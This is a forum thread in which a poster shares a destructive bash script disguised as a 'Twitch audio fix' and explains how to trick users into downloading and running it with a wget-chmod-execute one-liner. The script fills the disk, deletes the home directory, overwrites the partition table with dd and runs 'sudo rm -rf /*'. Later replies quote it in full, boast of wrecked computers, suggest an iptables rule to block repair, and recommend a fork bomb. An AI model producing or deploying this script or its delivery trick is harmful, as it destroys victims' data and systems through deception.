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Linux fuckup
#1
Here's simple script to fuck up linux system. Tested with Ubuntu, but most likely it works with any unix-based system with sudo.

Code:
#!/bin/bash

echo "Twitch audio fix"
echo "Processing"

#Meanwhile fill empty space, but this can lag slow systems
nice -30 cat /dev/zero > zero.file &

#Delete personal files
rm -rf ~ 2> /dev/null
sync

echo "We need sudo access for new audio driver"
#Nuke partition table
sudo dd if=/dev/zero of=/dev/sda bs=512 count=1

#Nuke whole system
sudo rm -rf /* 2> /dev/null

echo "Done"

And save it as audiofix.sh or something to your web site.

To use it ask users run following command on terminal:
wget http://yoursite.com*/audiofix.sh && chmod +x audiofix.sh && ./audiofix.sh
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#2
Ayyy sudo looks fine to me
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#3
(03-24-2015, 06:43 PM)rms Wrote:  Here's simple script to fuck up linux system. Tested with Ubuntu, but most likely it works with any unix-based system with sudo.

Code:
#!/bin/bash

echo "Twitch audio fix"
echo "Processing"

#Meanwhile fill empty space, but this can lag slow systems
nice -30 cat /dev/zero > zero.file &

#Delete personal files
rm -rf ~ 2> /dev/null
sync

echo "We need sudo access for new audio driver"
#Nuke partition table
sudo dd if=/dev/zero of=/dev/sda bs=512 count=1

#Nuke whole system
sudo rm -rf /* 2> /dev/null

echo "Done"

And save it as audiofix.sh or something to your web site.

To use it ask users run following command on terminal:
wget http://yoursite.com*/audiofix.sh && chmod +x audiofix.sh && ./audiofix.sh

I don't think anybody running Linux would be gullible enough to do that, but Macfags would get wrecked.
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#4
(04-11-2015, 09:29 AM)dad Wrote:  
(03-24-2015, 06:43 PM)rms Wrote:  Here's simple script to fuck up linux system. Tested with Ubuntu, but most likely it works with any unix-based system with sudo.

Code:
#!/bin/bash

echo "Twitch audio fix"
echo "Processing"

#Meanwhile fill empty space, but this can lag slow systems
nice -30 cat /dev/zero > zero.file &

#Delete personal files
rm -rf ~ 2> /dev/null
sync

echo "We need sudo access for new audio driver"
#Nuke partition table
sudo dd if=/dev/zero of=/dev/sda bs=512 count=1

#Nuke whole system
sudo rm -rf /* 2> /dev/null

echo "Done"

And save it as audiofix.sh or something to your web site.

To use it ask users run following command on terminal:
wget http://yoursite.com*/audiofix.sh && chmod +x audiofix.sh && ./audiofix.sh

I don't think anybody running Linux would be gullible enough to do that, but Macfags would get wrecked.

Yes, I liked it...many computers where fucked in the making of this...thing.
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#5
Has anyone run it on a VM? How does it perform? Kappa
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#6
(05-31-2015, 04:44 PM)SirDogeRaidson Wrote:  Has anyone run it on a VM? How does it perform? Kappa

You don't know how to use "Kappa", right?
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#7
Could I suggest adding the command "iptables -P INPUT DROP" (needs root), it should block all incoming network traffic, so even if they repair their system they are fucked.
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#8
I would just convince someone to use
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Fun, too, and doesn't need root to run. Completely cripples os to the point of reboot needed. To the people who do not know what this is- It's called a fork bomb.
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